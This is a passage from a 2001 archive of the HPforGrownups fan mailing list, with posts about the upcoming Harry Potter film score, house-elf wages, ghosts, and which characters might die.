http://www.the-tabula-rasa.com
Updated 9/03/01

"Make me sad, make me mad, make me feel alright?"
- Serial Experiments Lain


_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp




From sgallag4 at hotmail.com  Tue Sep 25 01:07:29 2001
From: sgallag4 at hotmail.com (sgallag4 at hotmail.com)
Date: Tue, 25 Sep 2001 01:07:29 -0000
Subject: Harry Potter Movie Soundtrack
In-Reply-To: <14e.17f05c1.28e0d81a@aol.com>
Message-ID: <9oolch+m82k@eGroups.com>

No: HPFGUIDX 26652

--- In HPforGrownups at y..., idouright2 at a... wrote:
> Hey guys I'm new here and this is my first post I hope I don't annoy anyone :-D Well I was just wondering if anyone has heard a tracklisting or anything for the Harry Potter Soundtrack 

In addition to the music that can be heard in the trailers, John 
Willimas performed a piece from the Soundtrack (Hedwig's Theme) this 
summer at Tanglewood, the music festival in Massachusetts. An mp3 
version of the song was up for a while at http://www.jwfan.net/
harrypotter/hedwig.htm but I am not sure if it is still up.

--Suz, who still bitterly resents Napster submitting to the man





From margdean at erols.com  Tue Sep 25 01:17:15 2001
From: margdean at erols.com (Margaret Dean)
Date: Mon, 24 Sep 2001 21:17:15 -0400
Subject: [HPforGrownups] I'm figuring this out now!  Added question...
References: <9oo827+a66h@eGroups.com>
Message-ID: <3BAFDB1B.F7E2F223@erols.com>

No: HPFGUIDX 26653

jeremy_t_williams at hotmail.com wrote:
> 
> Okay, so I send an email or just "post" a message; either way it goes
> to the public bb.  I was afraid that with the e-mail I would have
> sent a personal e-mail to all 2000+ people on the list!  Glad it
> doesn't work that way.

Well, it does for those of us who =want= it to work that way. 
When we sign up on the list we have a choice as to whether we
want to receive the list posts by email or not.  Either way we
can read them at the website.  I personally prefer getting emails
because my phone connection makes downloading web pages a
lo-o-ong process.
 

--Margaret Dean
  <margdean at erols.com>



From fyregirl at cfl.rr.com  Tue Sep 25 01:54:42 2001
From: fyregirl at cfl.rr.com (M. Barnett)
Date: Tue, 25 Sep 2001 01:54:42 -0000
Subject: Muggle Jobs in the Wizarding world ....
Message-ID: <9ooo52+e1i8@eGroups.com>

No: HPFGUIDX 26654

Hey everyone!  Ok, so this post is a little late, since I was 
scrolling back and it took me like 12 pages to find the original 
post, but hey, better late than ... well, whatever.

I have no clue what my wizarding equivalent job would be.  I would 
suppose wizards don't have much need for Firefighters, since they can 
conjure water (well, I assume they would be able to conjur water, 
since they can conjure fire ... I wouldn't think that Hermione would 
be the only person in the world that can do that.).  

But I'm also an EMT, so I suppose I could hold a Madam Pomfrey type 
position.

I would like to think I'd be one of the people that came in and fixed 
things went they went wrong.  Unfortunately (well, as far as things 
stand at the end of GoF), that would probably mean I would have to 
work for the MoM, and I'm not sure if I would want to do that under 
the present control.

Michelle <--- a little behind the times :)

"Firefighters commit one single act of bravery in their careers,  
taking the oath of office.  The rest is just in the line of duty."  




From foxmoth at qnet.com  Tue Sep 25 01:59:54 2001
From: foxmoth at qnet.com (foxmoth at qnet.com)
Date: Tue, 25 Sep 2001 01:59:54 -0000
Subject: Wizarding Caste System [was: In Defense of Hermione]
In-Reply-To: <20010924235954.86557.qmail@web20805.mail.yahoo.com>
Message-ID: <9oooeq+j77l@eGroups.com>

No: HPFGUIDX 26655

--- In HPforGrownups at y..., Rowena Grunnion-Ffitch 
<rowena_grunnion_ffitch at y...> wrote:
> 
> --- foxmoth at q... wrote:
>    Suggesting that House *wives* ought to
> > receive 
> > salaries, pensions and time off in return for their
> > domestic 
> > labors would earn a derisive smile in all but the
> > most radical 
> > circles, no?
> 
>       The question is who would pay the salaries,
> pensions etc? The government? and who substitutes for
> Mom when she's on vacation?

  Who's going to pay pensions and salaries for House Elves? 
The Ministry of Magic? I doubt Hogwarts has pensions for House 
Elves included in its budget projections. And who would've taken 
care of young Barty while Winky took her vacation? 
   It's no wonder Hermione can't get anyone to take her seriously!

Pippin




From litalex at yahoo.com  Tue Sep 25 03:38:48 2001
From: litalex at yahoo.com (Alexandra Y. Kwan)
Date: Tue, 25 Sep 2001 11:38:48 +0800
Subject: [HPforGrownups] Re: Why Does Krum Catch The Snitch?
References: <9onnp8+5df8@eGroups.com>
Message-ID: <015301c14573$9733e240$c706bacb@hal9000>

No: HPFGUIDX 26656

Hello,

From: <cynthiaanncoe at home.com>
> scratch.  Had the score been 500 to 20, well then, maybe.  Can you
> imagine the hubub if, during the Olympics, some gymnast just decided
> her team would never win, so she just hopped off the balance beam?

But that's *not* what Krum did, was it?  If we're to compare it to the
Olympics, it'd be like...nothing, 'cause it doesn't compare at all.  But
Krum *caught* the Snitch, so, it'd be as if he gave a 10 point performance
of some sort which has the ability to close the competition.  Other than
that...  what Marianna/Marsha said.

little Alex


_________________________________________________________
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Get your free @yahoo.com address at http://mail.yahoo.com




From dogspoon at yahoo.com  Tue Sep 25 05:46:33 2001
From: dogspoon at yahoo.com (Shawn Cowan)
Date: Tue, 25 Sep 2001 05:46:33 -0000
Subject: dogspoon
Message-ID: <9op5np+j78k@eGroups.com>

No: HPFGUIDX 26657

I'm just curious, has anybody missed me????




From Alyeskakc at aol.com  Tue Sep 25 07:06:09 2001
From: Alyeskakc at aol.com (Kristin)
Date: Tue, 25 Sep 2001 07:06:09 -0000
Subject: Lupin fans and possible death predictions
In-Reply-To: <9olqt6+erv6@eGroups.com>
Message-ID: <9opad1+tn72@eGroups.com>

No: HPFGUIDX 26658

--- In HPforGrownups at y..., cynthiaanncoe at h... wrote:

> There are interesting, moving deaths in a story, and then there are 
> deaths that are just way too much to take.  Can't we allow for the 
> possibility that some characters can never be killed off?  Like, to 
> use your Star Trek example, the main trio in Star Trek?  If so, can 
> we possibly shoehorn Lupin and Sirius into that category?


Okay I'm the last person who would want to see Remus(especially) or 
Sirius killed off, however. Let's use Star Wars as a better example 
than Star Trek. In SW, the main series of books were becoming a bit 
mundane, you always knew Han, Luke, and Co. were going to come out a 
little battered maybe, but none of them were ever in real danger of 
dying. In the X-wing series characters were introduced that were well 
liked and in some cases they were killed off, however again you knew 
the main *core* characters weren't going to be killed. 

Then came the New Jedi Order series and all bets are off as to who 
will live and who will die. A beloved main supporting character was 
killed in the first book of this series. It makes the whole series a 
little more exciting to read now, because I wonder who might be next. 

I think this is the same for HP. If JKR keeps putting the Trio and 
main supporting characters in danger but, there's no real threat that 
she'll kill them. It will start to make the books a bit mundane. 
We'll say to ourselves: "Oh that was exciting, but I knew in the end 
everyone would be OK."  However if she does kill Remus or Sirius or 
Snape, or whoever of the main characters, it touches us more and the 
books will be more suspenseful. 

Cedric was just a taste of what may be coming in the future. The next 
death is going to *hurt* a lot more, because it's someone that's 
closer to the *inner circle*. I just hope it isn't Remus or Sirius, 
at least not until the end.

Kristin
**Who will be quite heartbroken if Remus goes first**






From lake4fam at earthlink.net  Tue Sep 25 07:37:55 2001
From: lake4fam at earthlink.net (lake4fam at earthlink.net)
Date: Tue, 25 Sep 2001 07:37:55 -0000
Subject: One for Caius Marcius
Message-ID: <9opc8j+cfmc@eGroups.com>

No: HPFGUIDX 26659

Tune:  Home on the Range

Oh, bring up a spell
>From the dark depths of Hell
To make me corporeal again.
With dead father's bone,
And blood of the foe,
And the servant's hand struck off in pain.

Chorus:
Back, back in my bod!
HA! coming is Voldemort's day!
My D.E.'s I'll call;
They will come, one and all,
And then we will make Harry pay!

Oh, muggles take care
and mudbloods beware:
Voldemort's at it again.
The skull and the snake
Will make all your souls quake,
As Death Eaters with terror reign!




From shall at sfiweb.demon.co.uk  Tue Sep 25 07:40:13 2001
From: shall at sfiweb.demon.co.uk (Susan Hall)
Date: Tue, 25 Sep 2001 08:40:13 +0100
Subject: [HPforGrownups] Re: RL's Fate/SB's Fate - other "who will dies"
In-Reply-To: <20010924223822.26750.qmail@web14408.mail.yahoo.com>
Message-ID: <NCBBLOIDFHFLKCOIHJBKKEOPDNAA.shall@sfiweb.demon.co.uk>

No: HPFGUIDX 26660



I personally think Draco has a big neon sign over his head saying "This is a
far, far better thing I do than I have ever done before; This is a far far
better rest I go to than I have ever known."

But not till Book 7. of course.  He can go on being obnoxious right up till
then.


Susan




From aiz24 at hotmail.com  Tue Sep 25 08:29:12 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Tue, 25 Sep 2001 08:29:12 -0000
Subject: Cutting Ron A Break
In-Reply-To: <9oohgc+h09m@eGroups.com>
Message-ID: <9opf8o+albs@eGroups.com>

No: HPFGUIDX 26661

David:

> > I believe (without being exactly sure how) that something similar 
> leads to the IMO rather strange view that if you are pro-Ron you 
must 
> somehow be anti-Hermione.  Not a view that any of the trio 
themselves 
> would understand.

Ebony:
 
> I agree.  And to be fair (although I am in this camp), often those 
in 
> my ideological camp are anti-Ron at the exclusion of all else.  I 
> know why we do it, 

Why?  I'm dying to know.

I have the same bewilderment at people who strongly dislike Ron as 
others have expressed at people who don't enthusiastically love Harry. 
 Aside from all the reasons I personally like Ron, would love to hang 
out with him, etc., I'd probably be persuaded of his good points by 
the mere fact that =Harry= loves him.

Ebony again:
 
> I actually thought about this.  I think she ought to have stayed out 
> of it completely instead of playing mediator.

I agree, but I think she did a heck of a job at staying out of the 
middle.  From the start she tells Harry, "I'm not telling him anything 
. . .Tell him yourself (GF 18)," and except for a couple of attempts 
to get Harry to talk to Ron (and presumably off-camera attempts to get 
Ron to talk to Harry), she doesn't try to mediate.  The girl is wise 
beyond her years.
 
and again Ebony:

> Does anyone else think that Harry and Ron will argue again, or even 
> fight?  Any predictions?

We all respond out of our own histories, and I loved the fight 
incident for the same reason I hated it:  it vividly recalled 
conflicts between me and friends at around that age, which occupied my 
mind as much as, frequently more than, budding romantic interests, 
schoolwork, or any other aspects of my life.  I don't think there is 
anything unusual about a pair of 14-year-old friends having a 
falling-out for 3 1/2 weeks (it seems eternal in the book, I know, but 
it lasts only from October 31 to November 24).  This incident also 
added depth to both characters and their relationship.  In short, the 
whole thing made Ron more complex and less likeable (it did Harry 
also, though I'm more inclined to sympathize with him because I'm 
privy to his reasons), but in no way made me =dislike= Ron or think 
there is a major flaw in his character.

Amy Z

---------------------------------------------------
 . . . They made their way into the entrance hall,
 which was completely devoid of mad axe-men.
                  -HP and the Prisoner of Azkaban
---------------------------------------------------




From macloudt at yahoo.co.uk  Tue Sep 25 09:32:58 2001
From: macloudt at yahoo.co.uk (macloudt at yahoo.co.uk)
Date: Tue, 25 Sep 2001 09:32:58 -0000
Subject: Harry Potter Movie Soundtrack
In-Reply-To: <01092418523105.02268@sysop>
Message-ID: <9opj0a+4uvg@eGroups.com>

No: HPFGUIDX 26662

> 
> Some Tull tunes would fit in very well, though. Just imagine 
Haggrid singing 
> "Let me bring you Songs from the Wood......"

...and all the old-timers singing "Let's go living in the Past..."!

Oh, dear, better stop before I start thinking of appropriate Abba 
songs...

Mary Ann :)





From macloudt at yahoo.co.uk  Tue Sep 25 09:42:21 2001
From: macloudt at yahoo.co.uk (macloudt at yahoo.co.uk)
Date: Tue, 25 Sep 2001 09:42:21 -0000
Subject: Wizarding Caste System [was: In Defense of Hermione]
In-Reply-To: <20010924235954.86557.qmail@web20805.mail.yahoo.com>
Message-ID: <9opjht+7ekr@eGroups.com>

No: HPFGUIDX 26663

who substitutes for
> Mom when she's on vacation?
> 
Moms *don't go on vacation*!!

Seriously, I agree that JKR is using Hermione as an increasingly 
rebellious figure, possibly to point out supposed weaknesses/ 
injustices in the magical world.  Children of wizards and witches 
couldn't really be used for this purpose as the status quo is their 
norm, and Harry has too much on his mind already to worry about such 
things in much detail.  Mind you, JKR could have worked it so that 
Harry's rotten childhood would make him sensitive to the supposed 
exploitation of others (human or non-human), but again that would be 
too much for him to do.  Better to pass the Rebel with Several Causes 
banner to Hermione, whose temperment is better suited to such 
activities as she continues to grow and mature.

Go Hermione!! :)

Mary Ann
(shaking 3 kiddies off her legs and dearly wishing for a paid 
vacation)




From e_nickels at yahoo.co.uk  Tue Sep 25 11:28:50 2001
From: e_nickels at yahoo.co.uk (=?iso-8859-1?q?Elizabeth=20Nickels?=)
Date: Tue, 25 Sep 2001 12:28:50 +0100 (BST)
Subject: [HPforGrownups] Ancestor/descendant - ST and RL, ages - Happiness
In-Reply-To: <9ojf55+1051u@eGroups.com>
Message-ID: <20010925112850.69855.qmail@web9107.mail.yahoo.com>

No: HPFGUIDX 26664

 --- Amy Z <aiz24 at hotmail.com> wrote: 

JKR hinted in an online chat that the
ancestor/descendent mix up <BR>
might be intentional<BR>
<BR>
I have wanted to ask about this for months. Does
anyone have a theory <BR>
as to what she might have meant by that? What
=would= it mean for <BR>
Riddle to be Slytherin's "last remaining
ancestor"? Theories, anyone?<BR>


Yeah I find this interesting too (unless she was
bluffing). Maybe Voldemort goes back in time, marries
his great great great (etc) grandmother and becomes
his own ancestor as a way of vanquishing Dumbledore
for ever? Sounds crap when I say it. Maybe Grindelwald
is involved somehow, though.

Liz
 

____________________________________________________________
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Get your free @yahoo.co.uk address at http://mail.yahoo.co.uk
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From borg3892000 at yahoo.com  Tue Sep 25 13:12:23 2001
From: borg3892000 at yahoo.com (borg3892000 at yahoo.com)
Date: Tue, 25 Sep 2001 13:12:23 -0000
Subject: Wizarding Caste System [was: In Defense of Hermione]
In-Reply-To: <9oooeq+j77l@eGroups.com>
Message-ID: <9opvrn+qqit@eGroups.com>

No: HPFGUIDX 26665

--- In HPforGrownups at y..., foxmoth at q... wrote:
>   Who's going to pay pensions and salaries for House Elves? 
> The Ministry of Magic? I doubt Hogwarts has pensions for House 
> Elves included in its budget projections. And who would've taken 
> care of young Barty while Winky took her vacation? 
>    It's no wonder Hermione can't get anyone to take her seriously!

Er...one would think that if house elves wanted paying (not that 
there's anything wrong with it), then the budget could be modified to 
be paying 'em.

It's a bit different with a house wife.  If the husband paid the 
house wife and provided time-off and a pension, does that mean that 
the husband is the boss?  That would suggest that everything is 
actually owned by the husband, and the wife can be given 
clothes...er, I mean fired.

Is this getting off-topic?




From borg3892000 at yahoo.com  Tue Sep 25 13:16:24 2001
From: borg3892000 at yahoo.com (borg3892000 at yahoo.com)
Date: Tue, 25 Sep 2001 13:16:24 -0000
Subject: Lupin fans and possible death predictions
In-Reply-To: <9opad1+tn72@eGroups.com>
Message-ID: <9oq038+bne6@eGroups.com>

No: HPFGUIDX 26666

--- In HPforGrownups at y..., "Kristin" <Alyeskakc at a...> wrote:
> --- In HPforGrownups at y..., cynthiaanncoe at h... wrote:
> 
> > There are interesting, moving deaths in a story, and then there 
are 
> > deaths that are just way too much to take.  Can't we allow for 
the 
> > possibility that some characters can never be killed off?  Like, 
to 
> > use your Star Trek example, the main trio in Star Trek?  If so, 
can 
> > we possibly shoehorn Lupin and Sirius into that category?
> 

Hmmm.  This brings up the question of which supporting Gryffindors 
are wearing red shirts?  (I think that was the color of the shirts on 
the about-to-be-leaving characters.)




From borg3892000 at yahoo.com  Tue Sep 25 13:18:24 2001
From: borg3892000 at yahoo.com (borg3892000 at yahoo.com)
Date: Tue, 25 Sep 2001 13:18:24 -0000
Subject: RL's Fate/SB's Fate
In-Reply-To: <9oo9ha+ciju@eGroups.com>
Message-ID: <9oq070+gm8f@eGroups.com>

No: HPFGUIDX 26667

--- In HPforGrownups at y..., cynthiaanncoe at h... wrote:
> --- In HPforGrownups at y..., "Amy Z" <aiz24 at h...> wrote:
> > Cindy wrote:
>
> Amy, now you've got me a little worried.  We know that JKL never 
does 
> the obvious.  That, and the evidence you provide that Lupin will 
> appear in Book 7, suggests that he is safe for now.  (Whew!)  


Hmmm.  Maybe he's not so safe.  Could it be he'll appear in book 7 as 
a ghost? 




From borg3892000 at yahoo.com  Tue Sep 25 13:30:07 2001
From: borg3892000 at yahoo.com (borg3892000 at yahoo.com)
Date: Tue, 25 Sep 2001 13:30:07 -0000
Subject: Harry Potter Movie Soundtrack
In-Reply-To: <9oolch+m82k@eGroups.com>
Message-ID: <9oq0sv+4hjb@eGroups.com>

No: HPFGUIDX 26668

I downloaded the mp3 while it was up.  It's very good.  It's the 
music used in the trailers.

I would post it here on the files section, but it's 4 meg.  I don't 
know what the acceptable limit is.

--- In HPforGrownups at y..., sgallag4 at h... wrote:
> --- In HPforGrownups at y..., idouright2 at a... wrote:
> > Hey guys I'm new here and this is my first post I hope I don't 
annoy anyone :-D Well I was just wondering if anyone has heard a 
tracklisting or anything for the Harry Potter Soundtrack 
> 
> In addition to the music that can be heard in the trailers, John 
> Willimas performed a piece from the Soundtrack (Hedwig's Theme) 
this 
> summer at Tanglewood, the music festival in Massachusetts. An mp3 
> version of the song was up for a while at http://www.jwfan.net/
> harrypotter/hedwig.htm but I am not sure if it is still up.
> 
> --Suz, who still bitterly resents Napster submitting to the man




From vderark at bccs.org  Tue Sep 25 13:33:41 2001
From: vderark at bccs.org (Steve Vander Ark)
Date: Tue, 25 Sep 2001 13:33:41 -0000
Subject: dogspoon
In-Reply-To: <9op5np+j78k@eGroups.com>
Message-ID: <9oq13l+q24g@eGroups.com>

No: HPFGUIDX 26669

--- In HPforGrownups at y..., "Shawn Cowan" <dogspoon at y...> wrote:
> I'm just curious, has anybody missed me????

Well, I have, but that may be pure selfishness on my part, since I've 
been wishing you would contribute more of your fine artwork to the 
Lexicon. Welcome back, Shawn. And if you feel like drawing anything--
a nice Diagon Alley scene, perhaps--let me know :)

Steve Vander Ark
The Harry Potter Lexicon
http://www.i2k.com/~svderark/lexicon




From borg3892000 at yahoo.com  Tue Sep 25 13:47:50 2001
From: borg3892000 at yahoo.com (borg3892000 at yahoo.com)
Date: Tue, 25 Sep 2001 13:47:50 -0000
Subject: Harry Potter Movie Soundtrack
In-Reply-To: <9oq0sv+4hjb@eGroups.com>
Message-ID: <9oq1u6+oc0k@eGroups.com>

No: HPFGUIDX 26670

I posted the 1k midi version of hedwig's theme from 
http://home.t-online.de/home/Markus.Hable/
which is linked from the jwfan site.

If anyone is interested, I put it in movie trailer section, because I 
couldn't see a better location.

http://groups.yahoo.com/group/HPforGrownups/files/Movie%20Trailer/




From idouright2 at aol.com  Tue Sep 25 13:49:04 2001
From: idouright2 at aol.com (idouright2 at aol.com)
Date: Tue, 25 Sep 2001 09:49:04 EDT
Subject: Harry Potter Movie Soundtrack
Message-ID: <169.16a8c9b.28e1e551@aol.com>

No: HPFGUIDX 26671

Ok then this soundtrack sounds like it's going to be amazing! John Williams is a very talanted man...now I've heard rumors about there being norlmal "pop" songs on the soundtrack so I wonder if they're going to release the score and a "normal" soundtrack...I've heard some british groups are involved and there's a rumor flying about that the theme to the movie will be "Words Are Not Enough" by Steps i beleive has anyone heard anything about that? That would be...interesting
Andre
Who also resents napster but has moved on to MIRC and Audiogalaxy :)~



From borg3892000 at yahoo.com  Tue Sep 25 13:53:35 2001
From: borg3892000 at yahoo.com (borg3892000 at yahoo.com)
Date: Tue, 25 Sep 2001 13:53:35 -0000
Subject: Harry Potter Movie Soundtrack
In-Reply-To: <9oq1u6+oc0k@eGroups.com>
Message-ID: <9oq28v+6as0@eGroups.com>

No: HPFGUIDX 26672

--- In HPforGrownups at y..., borg3892000 at y... wrote:
> I posted the 1k midi version of hedwig's theme from 
> http://home.t-online.de/home/Markus.Hable/
> which is linked from the jwfan site.
> 
> If anyone is interested, I put it in movie trailer section, because 
I 
> couldn't see a better location.
> 
> http://groups.yahoo.com/group/HPforGrownups/files/Movie%20Trailer/

I just deleted it here because of copyright concerns. I don't want to 
get the group in trouble.

I don't believe either the midi file or the mp3 file are not to be 
shared.  The authors themselves made them available to the internet. 
But rather than raise the issue, I removed the midi file and won't 
post the mp3.




From vderark at bccs.org  Tue Sep 25 14:13:29 2001
From: vderark at bccs.org (Steve Vander Ark)
Date: Tue, 25 Sep 2001 14:13:29 -0000
Subject: MOVIE Hedwig's Theme
Message-ID: <9oq3e9+5vl8@eGroups.com>

No: HPFGUIDX 26673

The first piece of music we are given from the upcoming film score by 
John Williams is Hedwig's Theme. It seems a bit trite to call 
it "haunting," but that is a perfect word to describe it, at least at 
the beginning, where the tune trickles from the celeste, playing all 
alone in what one reviewer called "a loopy waltz." This theme is 
played once, then the tinkling bells spill out of the theme and into 
a swirling, musical whirlpool which sounds for all the world like a 
magic wand when Flitwick says "Alright, class, swish and flick..."

The orchestra then takes up the theme and runs with it, adding layers 
of strings, as the celeste continues to add magic in the background. 
A fanfare breaks out, only to be swirled back up into the celeste's 
spell, and then the orchestra dies away. In the momentary hush the 
magic still dances in our ears, almost on tiptoes, anticipating, 
until the orchestra comes back in with a decisive shout, and we're 
off and running.

The mood has gone from haunting to downright menacing and the tempo 
has changed from a waltz to a march. The horns lead the charge with 
another fanfare, a variation on the main theme. Then the mood changes 
once again as the strings play yet another variation on the theme, 
this time in the romantic mode that Williams used so often in the 
music for Star Wars, now painted in darker and faster tones. 

Then the strings do what strings always do in Williams scores: 
cartwheel and spin and carry us back to the fanfare, bright with 
trumpets. The fanfare is then repeated with more strings, and we 
notice that the celeste's magic is suddenly back, reaching in from 
somewhere outside of the main themes, reminding us of where we came 
from. The romantic variation is repeated as well; then we're reminded 
of the fanfare, this time mellower, from the trombones and horns. The 
main theme comes back, racing with all the bells and whistles and 
strings and horns, building wildly to the conclusion...

...and the celeste is back, still there, whispering along with the 
piccolo until the orchestra gives it's final exclamation, and the 
piece is done.

This piece is vintage John Williams. Veteran film score buffs will be 
able to pick out moments which seem to be lifted note for note from 
previous works. But, like he did with the choir in the Duel of the 
Fates from the Phantom Menace score, Williams brings in the celeste 
as a new device, added to his usual repertoire, the 
signature "Potter" bit that sets this music apart. It will be 
interesting to hear what other themes he develops and whether he 
leans as much on his previous work and styles. 

All in all, this theme is a wonderfully listenable piece of music 
which evokes all the right feelings for the Potter universe. 

NOTE: I have worked out the main theme on the piano. I had to combine 
the celeste part from this version of the theme with some of the 
music from the trailer (which is not the same, by the way) in order 
to make it seem complete. While I can play the fanfare as well, 
although not perfectly, I haven't taken the time to work out the 
romantic veriation at all. One of these days I'll transcribe it the 
whole thing and post it. When I get time. Ha ha ha.

Steve Vander Ark
The Harry Potter Lexicon
http://www.i2k.com/~svderark/lexicon




From vderark at bccs.org  Tue Sep 25 14:28:06 2001
From: vderark at bccs.org (Steve Vander Ark)
Date: Tue, 25 Sep 2001 14:28:06 -0000
Subject: Harry Potter Movie Soundtrack
In-Reply-To: <9oq28v+6as0@eGroups.com>
Message-ID: <9oq49m+bp8s@eGroups.com>

No: HPFGUIDX 26674


> I don't believe either the midi file or the mp3 file are not to be 
> shared.  The authors themselves made them available to the 
internet. 
> But rather than raise the issue, I removed the midi file and won't 
> post the mp3.

Actually, the mp3 is a bootleg, recorded at the concert in the US a 
few weeks ago. It was not released legally that I know of. If someone 
knows more about that, by all means say so, but that was what I 
understood about it. So it's probably a good thing that we don't host 
it here.

Steve




From rowena_grunnion_ffitch at yahoo.com  Tue Sep 25 14:59:31 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Tue, 25 Sep 2001 07:59:31 -0700 (PDT)
Subject: [HPforGrownups] Re: Wizarding Caste System [was: In Defense of Hermione]
In-Reply-To: <9oooeq+j77l@eGroups.com>
Message-ID: <20010925145931.70610.qmail@web20801.mail.yahoo.com>

No: HPFGUIDX 26675



--- foxmoth at qnet.com wrote:
> 
>   Who's going to pay pensions and salaries for House
> Elves?  The Ministry of Magic?

    Their employers of course. That is who pays
domestic workers isn't it? And pays for their social
security and insurance as well.

 I doubt Hogwarts has pensions
> for House 
> Elves included in its budget projections.

    It would naturally rewrite its budget to include
such things.

 And who
> would've taken 
> care of young Barty while Winky took her vacation? 

   The substitute elf?

>    It's no wonder Hermione can't get anyone to >
take her seriously!

    She doesn't deserve to be taken seriously, not
yet, and won't until she adds some thought to her
righteous indignation.

     Others on the list have already pointed out the
absurdity of turning a wife into her husband's
employee, (so much for equal partnership) the only
alternative is state subsidized stay at home Moms
which in turn would lead to state regulation of
housekeeping and child raising.

__________________________________________________
Do You Yahoo!?
Get email alerts & NEW webcam video instant messaging with Yahoo! Messenger. http://im.yahoo.com



From jeremy_t_williams at hotmail.com  Tue Sep 25 15:12:40 2001
From: jeremy_t_williams at hotmail.com (Jeremy Williams)
Date: Tue, 25 Sep 2001 08:12:40 -0700
Subject: [HPforGrownups] Re: Wizarding Caste System [was: In Defense of Hermione]
Message-ID: <F487jtrSByh133tYwli0000776a@hotmail.com>

No: HPFGUIDX 26676

My opinion is this: House Elves stay as is with no pay.  The arguement - 
that's how they like it.  We've seen perfect evidence that giving them 
"personal freedom" and "pay" only causes problems.  It would be one thing if 
they really wanted their freedom but we haven't seen any evidence of that 
yet.  It's just Hermione's liberation front that hasn't been asked for!

Jeremy

jeremy_t_williams at hotmail.com



>From: Rowena Grunnion-Ffitch <rowena_grunnion_ffitch at yahoo.com>
>Reply-To: HPforGrownups at yahoogroups.com
>To: HPforGrownups at yahoogroups.com
>Subject: Re: [HPforGrownups] Re: Wizarding Caste System [was: In Defense of 
>Hermione]
>Date: Tue, 25 Sep 2001 07:59:31 -0700 (PDT)
>
>
>
>--- foxmoth at qnet.com wrote:
> >
> >   Who's going to pay pensions and salaries for House
> > Elves?  The Ministry of Magic?
>
>     Their employers of course. That is who pays
>domestic workers isn't it? And pays for their social
>security and insurance as well.
>
>  I doubt Hogwarts has pensions
> > for House
> > Elves included in its budget projections.
>
>     It would naturally rewrite its budget to include
>such things.
>
>  And who
> > would've taken
> > care of young Barty while Winky took her vacation?
>
>    The substitute elf?
>
> >    It's no wonder Hermione can't get anyone to >
>take her seriously!
>
>     She doesn't deserve to be taken seriously, not
>yet, and won't until she adds some thought to her
>righteous indignation.
>
>      Others on the list have already pointed out the
>absurdity of turning a wife into her husband's
>employee, (so much for equal partnership) the only
>alternative is state subsidized stay at home Moms
>which in turn would lead to state regulation of
>housekeeping and child raising.
>
>__________________________________________________
>Do You Yahoo!?
>Get email alerts & NEW webcam video instant messaging with Yahoo! 
>Messenger. http://im.yahoo.com


_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp




From heidit at netbox.com  Tue Sep 25 15:15:58 2001
From: heidit at netbox.com (heidit at netbox.com)
Date: Tue, 25 Sep 2001 15:15:58 -0000
Subject: [MOVIE] [MERCHANDISE] Re: picture books?
In-Reply-To: <8op1l1+9pp9@eGroups.com>
Message-ID: <9oq73e+htpa@eGroups.com>

No: HPFGUIDX 26677

Oh, I am a giddly little psychic this morning! 

--- On September 1, 2000, tn HPforGrownups at y..., "heidi tandy" 
<heidi.h.tandy.c92 at a...> wrote:
> 
> I actually expect them to do something like this for the HP books - 
> part of me is thinking, "is there a 5 year old out there who won't 
> love to read an illustrated version of one of the Quidditch 
matches" 
> and another part of me is thinking - those quidditch matches can be 
> pretty violent - and another scene which, intheory might make for a 
> nice picture book thing would be Harry's First Time On A 
Broomstick - 
> but the altercation with Draco, and the circumstrances surrounding 
> Neville's injury, might be hard to, um, simplify.
> 
> I'm wondering what some of the writers & fanfic-ers here think - is 
> there a way to "simple down" one of the scenes without eviscerating 
> it like the blast ended skrewts seemed to do to each other?


Well, on Amazon.com, you can now order what seems to be picture book 
versions of certain scenes from the movie - just do a search for 
HARRY POTTER in the title and "Scholastic Trade" as the publisher and 
you will find the following titles: 
Adventures With Hagrid 
The Sorting Hat Ceremony
Friendship
Hogwarts School
Journey on the Hogwarts Express and
Learning To Fly

The age group is 4-8. I've ordered all of them, and plan to give them 
to my Harry for his birthday next year, when he'll be 3. I think 
he'll LOVE them!





From maryblue67 at yahoo.com  Tue Sep 25 15:28:11 2001
From: maryblue67 at yahoo.com (Maria)
Date: Tue, 25 Sep 2001 08:28:11 -0700 (PDT)
Subject: some thoughts about the Ghosts
In-Reply-To: <1001206166.2444.89038.l10@yahoogroups.com>
Message-ID: <20010925152811.88776.qmail@web11106.mail.yahoo.com>

No: HPFGUIDX 26678

Ok... here is something i have been thinking about
lately...

On Sunday (i wanted to post this before, but i had a few
problems, amongst them a tornado hiting my university
campus yesterday... ), when i was at the catholic mass, the
homily explained the miracle of some saint/priest/monk who
had been dead for a few years and someone saw him. This
lead me to think about the Fat Friar (i'm getting a bit
obsessed with HP, i know). If the Fat Friar was a religious
person, then i doubt that he was a Magical Person. He must
have been a Muggle. Then you have the Bloody Baron and
Nearly Headless Nick, who seem to have been Muggles too (or
at least, don't seem to have had the life a Wizard would -
one being a noble person, and the other one... well, it
doesn't strike me as a wizard). About the Grey Lady, there
is nothing but guesses around, most of which assume that
she is a witch, someone's relative, like Harry's or
Voldemort's. On the other hand, Prof. Binns was a Wizard
who became a ghost.

my question, thougth, whatever, is: does it say anywhere
that Ghosts come from Muggles and Wizards/Witches alike?
Are they only from magical people (therefore, any thoughts
about the Fat Friar being one, and same with Bloody Baron
and NHNick? 
Well, i am still thinking about this, but other opinions
would be very welcome!!

Take care


=====
Maryblue
----------------------------------------------------------
"Gravitation cannot be held responsible for people falling
in love" - Eistein

__________________________________________________
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From aiz24 at hotmail.com  Tue Sep 25 15:46:39 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Tue, 25 Sep 2001 15:46:39 -0000
Subject: some thoughts about the Ghosts
In-Reply-To: <20010925152811.88776.qmail@web11106.mail.yahoo.com>
Message-ID: <9oq8sv+f8ss@eGroups.com>

No: HPFGUIDX 26679

--- In HPforGrownups at y..., Maria <maryblue67 at y...> wrote:

> when i was at the catholic mass, the
> homily explained the miracle of some saint/priest/monk who
> had been dead for a few years and someone saw him. This
> lead me to think about the Fat Friar (i'm getting a bit
> obsessed with HP, i know). If the Fat Friar was a religious
> person, then i doubt that he was a Magical Person. 

Even though we don't see any religious observations at Hogwarts--that 
is, we see Christmas and Halloween but there's nothing about them 
beyond a feast, decorations, and carols--we don't know that no 
magical folk are religious.  I think that they're found in the usual 
range of religions, myself.  (But I'm biased because I'm a minister 
and when the "what's your job equivalent in the magical world" thread 
